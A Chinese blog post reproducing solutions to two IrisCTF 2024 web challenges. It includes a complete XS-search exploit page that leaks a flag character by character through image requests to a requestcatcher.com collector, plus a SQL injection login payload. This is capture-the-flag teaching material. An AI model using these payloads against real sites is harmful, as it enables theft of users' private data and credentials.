IrisCTF 2024 部分web题目复现
LameNote
题目:
Note challenges are lame so I made a lamer one. Flag matches irisctf{[a-z_]+}
Admin will log in, make a note with the flag, then visit your link. (Sorry if the timeout is a bit broken on this challenge, there's no PoW on the admin bot so feel free to spam it a bit)
nc lamenote-adminbot.chal.irisc.tf 10300
https://lamenote-web.chal.irisc.tf
lamenote.tar.gz
lamenote-adminbot.tar.gz
Hint!
Please redownload if you downloaded server files at the start of the event.
By:sera
附件:
参考复现 :
先分析带有flag
的bot.js
部分
const context = await browser.createIncognitoBrowserContext();
创建的是一个空白浏览器环境
const context = await browser.createIncognitoBrowserContext();
const page = await context.newPage();
await page.goto("https://lamenote-web.chal.irisc.tf/");
const frameWrapper = await page.waitForSelector('iframe');
const frame = await frameWrapper.contentFrame();
await frame.type('input[name=title]', 'Flag');
await frame.type('input[name=text]', 'irisctf{FAKEFLAGFAKEFLAG}');
await frame.type('input[name=image]', 'https://i.imgur.com/dQJOyoO.png');
await frame.click('form[method=post] button[type=submit]');
await page.waitForTimeout(1000);
await frameWrapper.dispose();
在生成笔记后访问我们给的链接
await page.setExtraHTTPHeaders({"ngrok-skip-browser-warning": "please"});
await page.goto(url);
然后看主页面
def check_request(f):
@wraps(f)
def inner(*a, **kw):
secFetchDest = request.headers.get("Sec-Fetch-Dest", None)
if secFetchDest and secFetchDest != "iframe":
return "Invalid request"
return f(*a, **kw)
return inner
这个check_request装饰器
要求所有的请求要通过iframe
标签发起
@app.after_request
def csp(response):
response.headers["Content-Security-Policy"] = (
"default-src 'none'; frame-src 'self';"
)
if "image_url" in g:
url = g.image_url
parsed = urlparse(url)
if host.match(parsed.netloc) and parsed.scheme in ["http", "https"]:
response.headers["Content-Security-Policy"] += (
"img-src " + parsed.scheme + "://" + parsed.hostname + ";"
)
response.headers["Cross-Origin-Opener-Policy"] = "same-origin"
response.headers["Cross-Origin-Resource-Policy"] = "same-origin"
response.headers["Cross-Origin-Embedder-Policy"] = "require-corp"
return response
定义了csp
函数用于设置csp
头,接受处理完请求后生成的响应。@app.after_request
装饰器确保每次响应生成后都会执行
response.headers["Content-Security-Policy"] = (
"default-src 'none';frame-src 'self';")
-
默认情况下不允许加载任何资源。
-
允许加载来自自身域名的框架资源。
ps:
csp
还不熟,下一篇博客总结一下
动态添加img-src
if "image_url" in g:
url = g.image_url
parsed = urlparse(url)
if host.match(parsed.netloc) and parsed.scheme in ["http", "https"]:
response.headers["Content-Security-Policy"] += (
"img-src " + parsed.scheme + "://" + parsed.hostname + ";"
)
检查是否存在image_url
属性
存在则进行解析,域名只能符合host = re.compile("^[a-z0-9\.:]+$")
(允许字母、数字、点和冒号)
协议要求为http
或https
满足则将这个域名添加到CSP
的img-src
规则中,允许从该域名加载图片资源。
response.headers["Cross-Origin-Opener-Policy"] = "same-origin"#只允许当前页面与同源页面共享上下文
response.headers["Cross-Origin-Resource-Policy"] = "same-origin"#限制了浏览器只允许同源页面访问资源
response.headers["Cross-Origin-Embedder-Policy"] = "require-corp"#只允许嵌入有CORP头的资源
以上限制了无法直接xss
外带返回来拿到flag
@app.route("/create", methods=["POST"])
@check_request
def create():
if (
"<" in request.form.get("text", "(empty)")
or "<" in request.form.get("title", "(empty)")
or "<" in request.form.get("image", "")
):
return "Really?"
user = request.cookies.get("user", None)
if user is None:
user = secrets.token_hex(16)
note = {
"id": secrets.token_hex(16),
"text": request.form.get("text", "(empty)"),
"image": request.form.get("image", None),
"title": request.form.get("title", "(empty)"),
"owner": user,
}
NOTES[note["id"]] = note
r = redirect("/note/" + note["id"])
r.set_cookie("user", user, secure=True, httponly=True, samesite="None")
return r
每个笔记和cookie
绑定,可以看到全部存到了NOTES
里面
/note/<nid>
没验证但是id
是16位hex
,直接爆破肯定不行
query = request.args.get("query", "")
user = request.cookies.get("user", None)
results = []
for note in NOTES.values():
if note["owner"] == user and (query in note["title"] or query in note["text"]):
results.append(note)
if len(results) >= 5:
break
search
和query
搜索搭配将当前user
的笔记添加到传回的results
列表
if len(results) == 1:
return render_note(note)
return (
"<!DOCTYPE html><body>"
+ "".join(
"<a href='/note/" + note["id"] + "'>" + note["title"] + "</a> "
for note in results
)
+ "</body>"
)
多于一个列表会化为几个对应笔记的链接
但是单个的话就会渲染出来,从而加载图片
而且题目给出了flag的范围irisctf{[a-z_]+}
伪造一个<iframe>
的页面让bot.js
触发表单的提交,因为我们无法更改原flag
笔记的的图片链接,我们就去重新提交并匹配搜索flag
头后面的一个个字母尝试,同时配上自己的图片链接确定是否有访问
当有一个没有被渲染造成图片链接访问的时候可以确定那一个就是目标的flag
存在的一个字母
以下是来自https://www.ctfiot.com/154500.html的解法
<body>
<script>
const sleep = ms => new Promise(r => setTimeout(r, ms));
const prefix = "irisctf{please_";
const chars = "abcdefghijklmnopqrstuvwxyz_";
setTimeout(async () => {
for (var i in chars) {
form.title.value = prefix + chars[i];
form.text.value = prefix + chars[i];
form.image.value = "https://[yours].requestcatcher.com/" + prefix + chars[i];
form.submit();
await sleep(500);
}
for (var i in chars) {
form2.query.value = prefix + chars[i];
form2.submit();
await sleep(500);
}
}, 0);
</script>
<img src="https://[yours].requestcatcher.com/start">
<iframe name="dummyFrame" id="dummyFrame"></iframe>
<form method="POST" target="dummyFrame" id="form" action="https://lamenote-web.chal.irisc.tf/create">
<input name="title">
<input name="text">
<input name="image">
</form>
<form method="GET" target="dummyFrame" id="form2" action="https://lamenote-web.chal.irisc.tf/search">
<input name="query">
</form>
</body>
What’s My Password?
题目:
[baby] Oh no! Skat forgot their password (again)!
Can you help them find it?
https://whats-my-password-web.chal.irisc.tf
whats-my-password.tar.gz
By:User
附件:
参考复现 :
打开容器
先看源码中flag的位置
是在数据库里,是( "skat", "fakeflg{fake_flag}");
账号的密码
先拿其它账号登录发现
var result Account
err = query.Scan(&result.Username, &result.Password)
if err != nil {
w.WriteHeader(http.StatusInternalServerError)
fmt.Println(err)
return
}
encoded, err := json.Marshal(result)
if err != nil {
w.WriteHeader(http.StatusInternalServerError)
fmt.Println(err)
return
}
w.Write(encoded)
当登录正确的时候是会直接返回获取到的用户名和密码的
var UsernameRegex = `[^a-z0-9]`
//............................
matched, err := regexp.MatchString(UsernameRegex, input.Username)
if err != nil {
w.WriteHeader(http.StatusInternalServerError)
return
}
有对用户名限制只允许数字字母,不过没对密码限制
看看拼接部分
qstring := fmt.Sprintf("SELECT * FROM users WHERE username = \"%s\" AND password = \"%s\"", input.Username, input.Password)
query, err := DB.Query(qstring)
也没验证处理,就"
闭合后(注意要\
转义)OR
开启新世界
然后直接咨询username = "skat"
即构造为
{"username":"aaa","password":"\" OR username = \"skat"}
Comments NOTHING